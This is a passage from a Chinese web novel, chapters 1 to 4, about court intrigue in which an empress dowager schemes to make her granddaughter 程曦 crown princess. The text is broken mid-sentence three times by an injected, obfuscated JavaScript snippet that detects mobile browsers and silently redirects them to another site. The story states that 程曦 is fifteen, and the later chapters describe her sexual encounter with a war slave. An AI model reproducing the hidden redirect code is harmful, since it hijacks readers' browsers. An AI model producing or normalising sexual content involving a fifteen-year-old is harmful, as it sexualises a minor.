《县主只求富贵荣华》 1. 第 1 章 檀香熏透了长乐宫,却掩不去苦涩的药味。 玄色蟠龙云雷纹的帐幔低垂,半遮半掩地露出一只苍白的手。 这手的手背上青筋毕露,手主人死死攥住另一只色如羊脂却皮肤松弛的手,苦苦哀求:“过去是朕轻狂,求母后谅解儿子一时被权利迷了眼睛!” “咳咳咳……” “陛下,龙体要紧,这些以后再说!”程太后急忙抱住成顺帝,支撑着儿子慢慢躺回床榻。 她面上波澜不惊,可撑着儿子的双手却很稳,用尽了全力。 侧过脸替成顺帝调整软枕的时候,程太后悄悄抹去眼中泪珠。 程曦站在一旁,往龙床上看了一眼,安静垂下头。 乌黑的长发服帖在她颈侧,远远看去,好似龙床边立了一尊玉人塑像。 先帝晚年便是患了风瘫之证。 他把亲儿子拘在皇宫侍疾,生怕儿子们为了龙椅把他害死。 朝廷不能一日无主,于是,这七年之中,程太后临朝,代替丈夫行使皇权。 先帝大行后,朝堂官员早已更换大半,成顺帝登基竟然连封疆大吏们的姓名都叫不上来,不得不继续让程太后坐在龙椅后面垂帘听政。 又熬了两年,成顺帝竟然在祭天时用随身佩剑压在自己脖子上,质问程太后为何专权不放。 程太后当场丢下儿子,乘车回宫。 第二日,印玺在朝堂上被程太后亲自送还给成顺帝,上表表示自己的一片慈母心肠,绝无与成顺帝争权之意。 成顺帝顺势做出一副痛心疾首的模样,言称都是受朝臣撺掇,把帮他出谋划策的几位臣子推出去定罪,举家流放。 人贱,自有天收。 成顺帝没享受几日独断朝纲的爽快,身体就被沉重的政务压垮了。 太医署进宫问脉越来越频繁,到了去岁冬至,成顺帝大宴群臣时喝了一杯凉酒,就此病得无力下榻。 直至今日,已足足卧床月余。 整个太医署出动,药方来来回回换了十几次,成顺帝的体虚之证仍旧不见起色。 成顺帝走上了父亲的老路——生怕儿子们急着上位,把他害死,思来想去,到底主动对程太后服软了。 朝政在被荒废了几年之后,重新回到程太后手中。 现在,所有人朝臣都改口说程太后之前不肯放权,是怕亲儿子累死。至于那几个被举家流放的倒霉臣子,那是他们活该。 ——若是成顺帝的病情再没好转,只怕活不过这个冬天了,谁还敢跟程太后挺腰杆子呢。 程太后伸手。 程曦缓步上前,将汤药递过去。 程太后坐在床边,轻轻吹着汤药,纯金的汤匙在黑褐色的药汤中旋转,掀起涟漪。 “我还记得,你小时候跟着我和先帝在军中,病了都是我亲自熬药的。” 汤匙送上前,成顺帝顺从的张开嘴,让苦汁子滑进喉咙。 程太后却好像陷入回忆,明明在给成顺帝喂药,可她的视线却没有落点。 “小时候,你怕苦,总缠着我,喝药后就要饴糖。可军队粮草紧缺。附近二十里连活人都没有,我去哪里给你找卖糖的商户呢……只能整夜守在伙房里,攒下自己的口粮,用粮食熬糖。” 程太后擦去顺帝唇边药汁。 “母后,求您别说了,是儿子不孝。儿子,太贪权了。”成顺帝颤声垂下视线成错。 程太后收回视线,点点头,“陛下好好养病,开春就该除服了。到时候我亲自给你选几个慧外秀中的美人,让我儿开心开心。” 程太后说完便起身,准备离开。 “母后!儿子错了,我不该贪恋皇权而忘记与母后相依为命的十年;不该忘了您是怎么护着我活命的;我不该与外臣合谋,当众令您难堪;我也不该听信谗言,与母后离心离德——这一个月来,儿子悔不当初!” 成顺帝拼尽最后一丝力气抓住程太后的衣角,说到最后一字,竟然已泣不成声。 “别说了,我也有错的地方。”泪珠大颗大颗从程太后眼眶跌落。 她紧紧抱住成顺帝,“先帝停妻别娶,把我降为妾室,我为了保住咱们娘俩的性命,只能做出一副对先帝情深似海的模样,自愿下堂,追随他奔赴每一个战场。” “到后来,我已分不清到底是要争那一口气,夺回皇后的位置,还是爱上了随心所欲调度臣民的权利。” 程太后轻轻梳理着成顺帝散乱的发丝,声音柔和:“那时候,我确实是不甘退居深宫,交还权柄的。你没有做错。” 程太后羞愧掩面,“我只是、只是一开始拉不下脸缓和咱们母子的关系,到后来,我怕你怀疑我来探病不安好心,只好忍着对我儿的担忧,对你的病情不闻不问。” “母后是儿子错了,纵然母后有几分私心,对儿子的关怀也是真的。您和其他人不一样……”成顺帝大恸,竟像个孩子似的趴在程太后怀中哭嚎不休。 “母后啊,她们每一个来侍疾的,都盼着朕死了,甚至还有为此故意撩拨朕,想让朕损了精血的,歹毒至极!” 程太后像小时候一样,抱紧成顺帝,轻轻拍着他后背,鼻腔里断断续续哼唱着童谣。 在母亲的安抚下,成顺帝呼吸很快变得平顺。 程太后却像是没看到似的,仍旧轻轻拍着儿子。 “外祖母,陛下睡了。”程曦轻声提醒。 程太后卷起唇角,看着成顺帝的视线充满慈爱,“傻孩子,我当然知道。” “那您怎么不歇一歇。”程曦上前几步,一脸好奇地看着程太后。 程太后神色不变,叹息道:“陛下病得狠了,才和我说几句贴心话。我要趁着他还没醒过来,还没后悔,多享受一会母子情。” 程曦一愣,脱口而出:“陛下的病……” “他会痊愈的!”程太后瞬间加重语气。 她像一只被激怒的母虎,情不自禁提高声音,“受命于天,既寿永昌!若这群庸医治不好我儿,我就去求神,用我余下的寿命去换他长命百岁,无病无灾!” 吼完这一嗓子,她又垂下眉眼,目露愁苦。 “……陛下睡下了,我们还是离开吧,别打扰他休养。”程太后把手递给外孙女,走得利落。 阳光洒下,程太后嘴角上扬,意气风发。 程曦惊觉,程太后刚刚的作态,全是演给成顺帝看的! 她回头望向长乐宫。 宫墙的灯火早早熄灭,失去往日的辉煌。 程太后掐了掐她的手指,这个,把外孙女带上皇宫最高处望月楼。 清风拂面,整座皇宫的美景尽收眼底。 程太后深吸一口气,整个人恢复到程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051905|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曦熟悉的模样。 她笑着说:“好孩子,准备做太子妃吧。” 程曦反问:“外祖母怎么能确定舅舅一定会让我做太子妃?陛下还没拿准让谁入主东宫呢。” “三岁看到老。他从小就是一旦发现自己错了,就恨不得倾其所有去补偿。”程太后冷哼。 随后,她笑着摸了摸程曦犹显稚气的脸,扬起眉尾,“现在不是‘你等着陛下选定太子,嫁过去’而是‘你相中哪一个,哀家就让哪一个正位东宫’。” “咱们程家未来百年,富贵无虞了。” 程太后真心实意感激上苍,双手合十,仰面对天。 默念过祷言,她重新睁开眼睛,看着外孙女笑了。 程太后伸手指着下方的美景说:“这皇宫比公主府如何?” “皇宫当然比公主大,还漂亮。” 程太后又问:“那公主府比之程家的宅院如何?” “公主府自然是比程家好的。” 程太后点点头,充满耐心地解释:“程家为勋贵,你母亲是大周的长公主,而这皇宫属于天下之主。爵位一个比一个高,享受的也一个比一个好。” “好孩子,你能明白吗?只有你站在最高处,你才能享受无上尊荣。”程太后给程曦理了理碎发,眼神越发慈爱,“至少,你不必对着讨厌的人卑躬屈膝。” 程曦一瞬间皱起鼻子,想起了一长串讨厌的人名。 “那我想一想更喜欢哪位表兄。”程曦被程太后说动了。 她凭栏而站,双手抓着栏杆,思索一会之后却更加茫然了。 程曦摇摇头:“……外祖母,我对哪一个表兄都没有男女之情。” “如果没有喜欢,那就更好了。”程太后怜惜地摸了摸她的嫩脸。 程曦摇头:“我不明白。母亲明明说,要嫁给两情相悦的人。” “哈哈哈哈。”程太后不客气地发出一长串大笑。 她直接打碎程曦过去十五年对婚姻和情爱的认知,“因为我抓住了帝心和权利,所以她才能随心所欲,嫁给只有一张脸的废物。” “但你的母亲——我的女儿——她连自己都需要别人保护,又如何能为你撑起一片自由自在的天。” “你要选,就要选那个最容易施恩不望报、最容易触碰到皇位的。哀家属意皇长子周靖。” 程曦悄然攥紧拳头:“外祖母的意思是,打算扶皇长兄入住东宫?” 程太后眼底沁出笑意:“老大比你年长八岁却至今未在后院放任何一个女人,哀家以为这是他主动表现出对程家的诚意。对女人来说,一个脑分得出轻重又洁身自好的男人,最省心。” “那我听外祖母的。”程曦悄悄掐了自己大腿一把,压下心中的不甘,对程太后点头。 程太后欣慰地把她拥入怀中:“好孩子,你未来会过得比你母亲更好的。” “吱呀”一声,楼下角门被推开,一对男女手牵手闯入。 男人急切地把女子压在墙上热吻。 赫然是祖孙正在谈论的皇长子。 程曦抓住程太后的手,发现老太太脸上已经阴沉得能滴下墨汁了。 ……这婚事,大概,可以黄了? 真是太好了! 程曦悄悄低头笑了。 不枉她花了一番心思,带来眼下的局面。 2. 第 2 章 “求殿下怜惜,别让妾遮掩不过去了。”女子被周靖压在门板上,猫儿似的呜咽。 周靖急切地在女子身上寻求抚慰:“难道你就不想我?别拒绝我,我日日夜夜都盼着与你相见。” “妾对殿下思之如狂。可我与殿下无名无分,每次私会都冒着这么大的风险,妾对殿下来说,到底算什么呢?” 女子声音如泣如诉,可人软在周靖怀中,任由层层叠叠的衣裙散开,被肆意享用。 周靖紧搂美人,急切表白:“当然是孤的心上人!” 衣料的摩擦声在寂静的庭院中格外刺耳。 程太后站在高处,虽看不清女子面容,却把他们苟合的姿态看得一清二楚,不禁被气得胸膛剧烈起伏。 “简直荒唐!” 一声怒斥没能出口,便被柔软的手掌捂住。 程曦轻柔地给程太后顺着气,无声摇头,面上没有被算计的愤怒,一双黑白分明的眸子写满了对于程太后身体健康的担忧。 “外祖母莫气,我们听听再说。”她用气音小声提醒。 四周跟随的宫人好似人偶,一动不动。 程太后压着怒气,勉强点点头。 她厌烦地向楼下瞥了一眼,再看回程曦的脸上,悚然一惊,连忙捂住程曦的眼睛。 她外孙女才刚及笄,怎么能看男女野合的无耻之行! 真是可恶,脏了她家孩子的眼睛! 蒙住眼睛也堵不住耳朵,程曦还是把下头动静听了全程。 “父皇眼看着没多少时日,孤为长子,素无错处,日后必能孤登大宝。孤虽为了稳定朝堂,到时必须娶程家的奶娃为皇后,但孤也绝不会辜负你的一片真心,少不了要为你留一妃位。” 周靖持续的时间不久,承诺倒不要钱似的一句接一句往外承诺。 女子被说得泪水涟涟,哽咽地回应:“殿下。殿下不负我,我这几年为殿下吃得苦便值得了。” “孤说话算话。”话匣子一打开,周靖更是忍不住在心爱的女人面前成串地抱怨,“这些年,孤明明早该议亲,可人人都明里暗里逼着孤等那程家奶娃及笄——她算什么东西?孤是金枝玉叶,竟然要受一外戚辖制。” “你放心,就算她当了皇后,孤也不会给她孩子。程家已经太猖狂了。” 周靖闷哼一声,随即发出舒爽的长叹,抽身离开,“待你产下麟儿,我就封他做太子,让你母凭子贵!只有咱们儿子才配入主东宫。” “老太太六十多的人了,等她一蹬腿,孤马上废后,把整个程家都赶出京城。” 还当周靖有什么惊人的计划呢,结果全是画饼。 程曦撇嘴,在心中评价。 确定周靖手中无兵马,威胁不到朝廷的安危,程太后再也不愿在他身上浪费时间,当场拍拍手,下令:“来人,拿下这对□□宫闱的狗男女!” 刚刚连呼吸都趋近无声的宫人立刻动了。 几个黄门冲下楼,直奔周靖和他怀中女子而去。 “谁?——皇祖母?!”周靖循声望去,看到望月楼上站着的一老一小,大惊失色。 “奴先走,绝不连累殿下!”女子转身,抓着周靖的裤带就跑。 长裤瞬间落地,周靖急急忙忙拉着裤子遮掩丑态。 抓人拿脏,只要不一起被抓到,就还能狡辩。 周靖急急忙忙,用锁链栓紧角门。 他整个身体压在门板上,对门外低吼:“你快跑,绝对不能被人抓住!” 女人红着眼睛在宫道中狂奔,不知从何处钻出去,顷刻间便没了踪迹。 黄门冲出去时,已不见了她的踪迹。 程太后站在楼上看着,眉心气得拧出个疙瘩。 她再也拿不出祖孙情谊了。 程太后厌恶地比划:“不必再给周靖留脸面,捆起来。” 不必再顾忌周靖的身份,黄门总算放开手脚,三下五除二就把他捆成粽子。 “奴婢失职,没抓到人。请太后准许调查今日入宫人员名单。”黄门跪地认错。 程太后揉了揉眉心,满心疲惫,丢给黄门一块令牌:“查。” 黄门面对着程太后,膝行离开。 “外祖母,楼上风大,吹久了会头疼的。我陪您回去。” 程曦俏皮地把话题引回自己身上,“还是外祖母老当益壮,站了这么久还能条理分明地处理事情,我光惦记着回去歇脚了。” 顺势,就将程太后带下楼。 “皇祖母息怒,孙儿一时鬼迷心窍。孙儿……啊!” 看到缚手跪在地上干嚎的周靖,程太后狠狠一脚踹在他肩膀上:“无耻!无能!” 程太后年岁不小,身体确实实打实的硬朗。 一脚下去,周靖就像只仰壳的王八,翻不回来身体了。 程太后还不解恨,瞪着他看了两眼,终于再次出脚,直接踹向子孙根。 一声变了声的惨叫过后,程太后心里的不快总算减轻几分,“哀家看你还拿什么畅想未来。” 她语调恢复平常,拉着程曦从只能抽泣的周靖面前缓步离开。 回到长寿宫,程太后拉着程曦一起坐上主位,缓声道:“曦儿,老大眼看是不成了。剩下三个皇子,可有哪个能入你眼?” 自家人说话没必要遮遮掩掩的。 程曦把头枕在程太后肩膀上,终于借机说出真实想法:“外祖母,我就非得嫁进皇宫么?” 和聪明人说话不必把话说尽了,对方完全能够明白自己的意思。 程太后听着外孙女的意思,两条远山似的眉毛当场竖了起来:“你这话,莫非其他三个也有不妥当的地方?” 程曦收起撒娇卖痴地神态,垂下眼帘,声音平板地解释:“二皇兄生性风流,虽未娶妻纳妾,可他几个伴读府上却都专门辟了院子,养了一些公子们不涉足的妙龄佳人。三皇兄自小与母族姐妹关系亲厚,外孙女多有不如。” 程太后一脸恶心,摆摆手:“老四呢?他才六岁,总不至于通人事了吧。” 程曦抬起眼帘,轻声说:“外祖母,四皇弟今年六岁,他的母亲陈氏今年也才二十有二。” “陈氏被母亲送给舅舅的时候,为了让陈氏安心,陈家三兄弟都被送入军中历练,如今官职不低,都有实权。” “若是四皇弟……陈氏春秋正盛,对外祖母来说,情况实在不妙。” 皇后代替丈夫管理朝政,天经地义;太后替儿子管理朝政,也是天经地义,可一旦成顺帝过世,程太后就会变成“太皇太后”。 程家的势力同样在军中。 到那时候陈氏代理朝政会比程太后更加名正言顺。 即便不提这些,程曦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051906|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今年十五,已经及笄;四皇子才六岁,两人差着九岁的年龄。 等到四皇子通人事的时候,程曦都多大岁数了? 还没圆房,就比现在的陈氏都老了! 那时候程太后是不是还在世都难说,程曦已经“年老色衰”,拿什么跟年轻貌美的小姑娘争宠? 不论如何,四皇子对于程家来说,都是最差的选择。 程太后点点头。 她从一开始也没考虑过老四,问一句不过是对外孙女存了考校的意思。 现在程曦的回答让她满意。程太后也敢给外孙女机会了。 程太后看着比自己年轻时候容貌更盛的外孙女,眼中闪过精光:“看来曦儿你心里有章程了。说吧。” 程曦恢复笑脸,轻轻握着程太后的手:“先帝和舅舅治国都不如外祖母,他们先后卧床是天意。” “贫嘴!” 话虽如此,程太后嘴角却怎么也压不下去。 “外祖母,您再次临朝已成必然。原本朝堂好好的,可惜这三年里,你用惯的官员被舅舅拆得七零八落,倒不顺手了——如今正是用人之际,比起缩在后宅给哪个男人当妻子,我更想做能把人才送到外祖母面前的登天梯。” 程太后鼓励地看着程曦,鼻腔中发出疑惑:“嗯?” 程曦笑问:“察举制虽然可以遴选良才,可二十万人中方可举荐一人。这会埋没多少人才呢?” 能臣有能臣的用法,鸡鸣狗盗之辈也不是毫无用处,但这些“专业技术人才”根本不可能被举荐。 程太后听程曦的话,心里隐约有了个猜想,只等她说完。 “王公贵族的情人小星,甚至是这些娈宠的家眷,都可以名正言顺的面圣入仕、领兵征伐。”程曦字字清晰,如珠落玉盘,“我愿为桥梁,替外祖母输送人才。” 程太后瞬间笑了,眼中盛满赞赏:“好,好,好!” “那几个不成器的东西眼界狭隘,确实配不上我的好曦儿。” 程太后亲自手书一封,盖上凤印:“拿着,不拘良人、奴籍还是囚犯,尽管去做吧。一切都有哀家给你兜着。” “谢太后隆恩,程曦接旨。”程曦郑重其事俯首谢恩。 出宫后,她没有回家,而是直奔战俘营。 ——若程太后和程家离心,程家再军中的子弟不但不再是助力,反而会成为敌手。程太后最需要收拢一批有调兵遣将本领的人,以备不时之需。 “去,让人从战俘里挑选几个最高大强壮,相貌英俊,又通晓文墨的来。” 不多时,一排身上布满鞭痕的壮汉站在程曦面前。 他们头和脸都湿淋淋的,刚刚被刮去胡子。 程曦从男人们面前缓缓走过。 她突然停下,抬手捏住其中一个的下巴,左右看了看,露出惊喜的笑容。 “你倒生了一副俏模样。”程曦好奇地对陌生男人多看了几眼。 她惊喜笑道:“春桃,带下去,好好查身。” 可站到双脚发疼,春桃才红着脸回来,贴着她耳朵禀报:“殿下,非凡物。” 程曦脸上一红,迅速宣布“来人——他们,我都要了,带走!” 钻回车厢,程曦红着耳朵对着计时的滴漏自言自语:“宴会上,贵夫人们都说男宠就要貌美、体健。他这个……够久了吧?” 3. 第 3 章 “小姐,剩下几个战奴您不查验一番了么?奴婢瞧着也很英俊呢。”丫鬟春桃追在晨曦身后,语调是不正常的亢奋。 程曦赶紧捂住春桃的嘴巴,嗔了一眼,压低声音:“住口吧,没发现周围的人都在看咱们吗?” 春桃顺着程曦的指示,眼睛转了一圈。 她视线扫过谁,谁就赶紧挪开脸,假装没有把注意力放在她们身上。 程家一早认定程曦会嫁回皇宫。 程家不可能一辈子对皇子挺腰杆子,那不如从一开始就攒下夫妻情分。 那么,怎么和男人相处,拢住丈夫的身心,就是程曦必须掌握的技能。 春桃出宫嫁人四年多,程太后前些日特意把她调到程曦身边,为的就是让她带着程曦看些避火图,好好通晓人事,学会出嫁后与丈夫相处。 春桃脸一红,终于后知后觉地想起她们主仆过来做的并不是件适合声张的事情。 可春桃想起程曦自己说不必在皇子间选夫,马上又心安理得了,“乡君,这有什么不好意思的。安顺县主和都尉夫人刘静出入都带着好几个男宠,您比她们身份尊贵,找几个人伺候算得了什么。” 安顺县主,先帝亲伯父家的堂妹。 她死了丈夫之后,再嫁非人,竟是个下了战场就打老婆发泄情绪的混账。 安顺县主挨打之后哭哭啼啼的进宫告状,先帝竟说对方是国之栋梁,让堂妹为了国家多忍一忍。 程太后听说后,亲自派出四个身体强壮的黄门,直接打断了安顺县主丈夫双臂。 从此,他既不是国之栋梁,也没办法挥拳打老婆,更不必被先帝包庇了。 先帝风瘫之后,安顺县主作为宗室,第一个站出来支持程太后代夫临朝。 程太后秉持“投我以木瓜,报之以琼瑶”的原则,每隔几年,都会从进宫献艺的乐班中挑选几个可人儿送进安顺县主府上。 姑嫂和乐,传为美谈。 都尉夫人刘静,人如其名,生得相貌风流,性格文静。 她是程太后亲姨母生出来的表妹。 战乱年代,刘静连着嫁给程太后希望能够笼络的军官,每次都相处得夫妻和美。 可惜,这两个男人福薄,都没承受住刘静带来的泼天富贵,死战场上了。 一直到她二十六岁第三次嫁人,丈夫总算是个福泽深厚的,跟着先帝南征北战只在脸上留了三道疤痕。回家之后,跟刘静养下三个孩子。 先帝风瘫在床期间,程太后代替丈夫临朝。 刘静的第三任丈夫把后院的几个没生育的妾室都亲自送嫁了,让程太后看到了他的忠心,许以禁军都尉的职务。 有上层的贵妇引领风潮,程太后临朝这十几年间,京中女子豢养男宠就渐渐成了风气。 有些门第不比丈夫低的,如果看中了丈夫身边小厮,甚至会直接抢过来自己受用。 更不乏没出阁的千金交换男宠做消遣。 ……好像她来战俘营挑选几个战奴做男宠,确实不算是出格的事。 程曦转念一想,也觉得自己确实不用在意别人的视线。 ——她这么漂亮,就算不养男宠,出门也从没少过男人注目的视线。 程曦脸上温度渐渐回归正常。 刚刚是她多心,想岔了。 程曦心中自嘲,现代没钱点模子,现在倒比古人还封建,规训起自己来了。 脑子不发热,思维运转得就快了。 她熟练地吩咐:“这群战奴送回家之后,刷洗干净了,让嬷嬷们教导些规矩。尤其是细节处,可不准带跳蚤。” “是,奴婢这就去吩咐。”春桃领命离开,站到负责挑人的嬷嬷面前,仔仔细细吩咐清楚给战奴们篦头发、刷洗身体、修剪指甲,最后视线又往下滑,多嘱咐了一句,“男人那话也弄干净些,别脏了贵人的身子。” “是,奴婢一定办好差事。”嬷嬷连连称是。 春桃去吩咐嬷嬷后,带着她们一块离开,亲自监督。 程曦被另外的丫鬟搀扶上车。 车夫一声吆喝,准备离开。 “乡君留步!”一道老迈的声音伴随着马蹄声而来,挡在马车前,拦住了程曦的去路。 须发皆白的程三太爷下马,利落站到车窗前:“乡君三思,大皇子这些年一直等着您……” “他和人在宫廷偷情,被外祖母撞见了。”不等程三太爷说完,程曦就抖了大皇子的底。 程三太爷当即住口,跟程曦隔着一道车窗大眼瞪小眼。 “咳咳,那……太后的意思是?”程三太爷当场改口。 几位皇子不约而成都不成婚,程曦才被认为是需要嫁进皇宫的,程家这些年看着大皇子为长,能力也不差,才努力和大皇子打好关系。 但要是大皇子都被程太后放弃了,那他就是个屁,谁还管他呢? 程曦后续是跟二皇子还是三皇子成婚,就等太后的吩咐了。 “我在此,便是她的意思。”程曦笑着放低声音,充满暗示地强调,“有些话,不能明说,您老说,是不是这个理?” 程三太爷肃然后退,一脸正气地附和:“是,乡君只需为国尽忠。老臣尚有公务,先走一步,不打扰乡君了。” 程三太爷后退几步,正要走开,又突然折返,涎着笑打听:“程家分支和外嫁女家里也有不少相貌堂堂的儿郎,乡君要不要组个宴会,一起瞧瞧?肯定有乡君能入眼的。” 程曦笑而不语,程三太爷不再多问,再次告辞。 这回,他是真走了。 丫鬟撂下窗帘,马车启动,踏上返程的路。 * 马车摇摇晃晃,程曦靠在春桃怀里,小睡了一路。 她去战俘营没有遮掩踪迹,回来的时候,后车带着一串相貌非凡的战奴也被看得清清楚楚。 流言蜚语长了翅膀似的在京中传开。 接近程府的时候,春桃越过车窗看到程府石狮子旁聚集了乌泱泱的一群人,不禁啧舌:“小姐,家门口的人可真不少。” “这么多人,见了面就要跟他们浪费口舌了……”程曦嫌弃地一皱眉,转而吩咐,“加速闯过这条街,直接回公主府。” 随车过来,一路都没开口的乳母李嬷嬷叹了口气:“小姐,您办事太不留情面了。” 公主府无宣召不得入内,否则视同谋反。 程家这群人就算着急得抓心挠肝,也没资格全都冲进公主府里对程曦兴师问罪。 程太后有好几个儿子,但她和先帝相濡以沫的时候生下了唯一的一个女儿。 所以,再长公主面前,程家人不敢说三道四。 可程曦姓“程”,多少要受这个姓氏影响。 她年龄小,又只是个乡君,论勋爵官职远不如程家几位长辈。程家人很喜欢在她面前倚老卖老,想拿捏住流着皇室血脉的小姑娘。 “我爹一个出了五代亲的旁支,不拿出族谱,都不知道他是程家哪一个。程家族老在我面前充什么人物。”程曦卷唇讥讽。 当年长公主下嫁,那叫“降”。 不论程家如何强调长公主追求爱情,也无法掩盖这桩婚事是“君临臣家”的皇恩浩荡。 不论当母亲的长公主周鑫,还是作为乡君的程曦,都不会做维护程家未来荣光的工具。 程家要是一直不死心,就要等着一直被敲打了。 “一笔写不出两个程字,到底是一家人……”李嬷嬷还想再劝。 程曦已经干脆闭上眼睛,用行动表明了她的态度。 李嬷嬷只好闭上嘴。 等到马车降低了速度时,程曦突然开口:“李嬷嬷,程家能混出头确实是靠跟着先帝起兵,凭本事打出来的。但京中这样的人家没有五十家,也有二十家,现如今谁能像程家一样煊赫?他们连灌溉皇庄的水都敢抢!” 李嬷嬷气弱地分辨:“只是和县令的一点小误会。” 程曦:“出了一个皇后,让程家飞黄腾达。程家为了维持现在的荣宠,肯定还会再送女孩进宫。但程家现在教养女孩是照着姬妾去的,养不出外祖母独断朝堂的本领了。” 马车停稳,程曦起身,拒绝了李嬷嬷的手,由另一个丫鬟搀扶着走出车厢。 她把声音留在车厢,“若有谁从程家来我身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051907|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,就分不出轻重,我不介意给你们醒醒脑子。” 李嬷嬷是程家的家生子,哪能不明白程曦刚刚的话说的既是责备程家人不知轻重,也有点她在自己身旁拿大的意思呢。 李嬷嬷脸上瞬间白得好像刚粉刷的墙壁。 她急忙跟上程曦,表忠心:“乡君赎罪,奴婢绝无二心,只是替您的前程担心。” “但愿如此。”程曦口气淡淡。 李嬷嬷把手伸过来想要搀扶她,程曦看了几眼,把手放上去。 李嬷嬷松了口气。 没等她这口气喘匀,程曦又突然说:“李嬷嬷,我有四个乳母。” 乳母不是亲娘。 哪怕奶娘,李嬷嬷也不是唯一的。 如果她不比其他乳母更有能力、更忠心,程曦凭什么把李嬷嬷带在身边呢? 她没有不可替代性。 李嬷嬷心中大骇,再也不敢替程家美言了。 跨过垂花门,程曦看到专门等她的母亲。 日耀长公主周鑫站在廊下,细白的手指间翻转着一柄镶嵌了螺钿的刀扇。 她看着程曦,脸上的表情清楚写着她已经知道程曦做了什么。 日耀长公主直接来到程曦面前,把手里的刀扇放到女儿掌心,摸了摸她晒红的脸蛋:“娘的心肝,舍得从军中回家了?” 和亲娘说话不用兜圈子。 程曦挽住母亲的手臂,摇着扇子把这几天在宫中侍疾碰上的事仔细交代清楚。 日耀长公主得知皇长子周靖与人早有心上人的事情,神情不动,可听到程曦紧接着就跑去战俘营挑选貌美体健器大的战奴后,却笑开了花。 “我儿总算开窍,知道关注儿郎俊不俊了。” “娘~”在母亲面前,程曦情不自禁软了声音,对她撒娇,“你明知道女儿挑选战奴,是为了让宫里清楚,我不是好欺负的!你怎么还笑我!” 以找男宠的名义引荐能人异士,是程曦现找的借口,她的真正心意只有不想做皇子妃,一辈子低头伺候丈夫。 程曦此举,不过是顺了程太后敲打孙子们,不准他们看清外戚的心意罢了。 “傻孩子,不明白的是你——人已经带回来了,用不用,世人都会觉得你养了男宠。” 她怜惜地摸了摸女儿的脸,慈爱又纵容地笑道:“你把他们带进门,不就是顺了眼缘,一见就喜欢么。去吧,人人都养的小玩意,我也不拦着你快活。” 程曦就这么迷迷糊糊地被母亲劝回房间。 身后,日耀长公主闭上眼睛,仰面对天祈祷:“上苍保佑,男宠都会伺候人,至少我儿的初次经历不必和我一样吃苦了。” 六扇海棠格栅门隔开了刺眼的阳光。 程曦坐在床上,还觉得做梦了一样。 这就完了? 她母亲想来要面子,这一回居然不质问、不责备,还满脸鼓励的让她早点回房享受? 程曦疑心道:“都说男人过了二十五就是六十五,母亲最近六、七年确实很少宣父亲过府相聚。” 父亲会不会早就不行了,叫来也没用? 还是说,父亲一直不行,一旦容颜衰败,母亲就看都不想看了…… 那母亲今年的生辰贺礼,是不是该把定制的屏风换成一个嘴甜活好的美男子? 不,既然是“日常用品”,或许不必等到生日。 一片黑影无声无息地弥漫到程曦脚下。 战奴安静地跪着,大手握住少女脚踝,为她脱下绣鞋和罗袜。 嘴唇印上紧绷的脚背,细细琢磨。 程曦蜷缩起脚趾,另一只脚踩在战奴肩膀上,似抗拒又仿佛催促。 “乡君。”温热的吐息上移,落在内踝。 程曦垂眸看去,对上一双能够将人溺毙的眼睛——再看这双眼睛,还是不由得为之惊叹。 “你……” 不等程曦质疑,战奴已经羞涩地微微扭开脸,拉开自己长袍,引导着程曦的双手在他胸膛检验。 “请乡君垂怜。” 程曦动了动手指。 富有且慷慨。 对味了! 4. 第 4 章 炽烈的情热卷着程曦一同焚尽。 夕阳西斜,一室春光终于落幕。 程曦汗涔涔地翻身抱住软枕,神志一片混沌地磨蹭着寻找干爽的床面。 隐约间,热源从她背后离去。 又不知过了多久,她被人轻手轻脚地抱入怀中,用温热的手帕为她擦净身体,再将她放回已经重铺的床面。 干爽又温暖,让程曦身心愉悦。 那具热源返回,连同裘皮毯子一同将她裹得密不透风。 程曦在热源上蹭了蹭,沉沉睡去。 睡梦里,有一双大手拢在她腰后,揉散了酸软和疲惫。 日上三竿,她才懒洋洋地被腹中饥饿唤醒。 战奴平躺在她身下,下腹高高撑起锦裘,明明一脸隐忍却始终放松着身体,躺在原位,一动不动的充当人型床垫。 程曦睁开眼,只觉舒爽。 她在战奴怀中蹭了蹭,开口时声音发紧:“哪位嬷嬷指点你的?她教得倒细致。” 一层暗红顺着胸口爬上战奴的脸皮。 战奴睫毛不断颤抖,视线几乎不知道该看向何处。 两瓣嘴唇张开后,战奴的嗓子里却干得发不出声音。 这副清纯又紧张的样子顷刻间取悦了程曦。 她单手撑起身子,用染红的指甲来回刮擦着战奴的饱满的嘴唇,笑道:“别怕了。你伺候得不错,是个可造之材。我准许你留下来,不必担心再被送回战俘营了。” “谢乡君,我叫刘问枢。”战奴急忙把自己的真名报出。 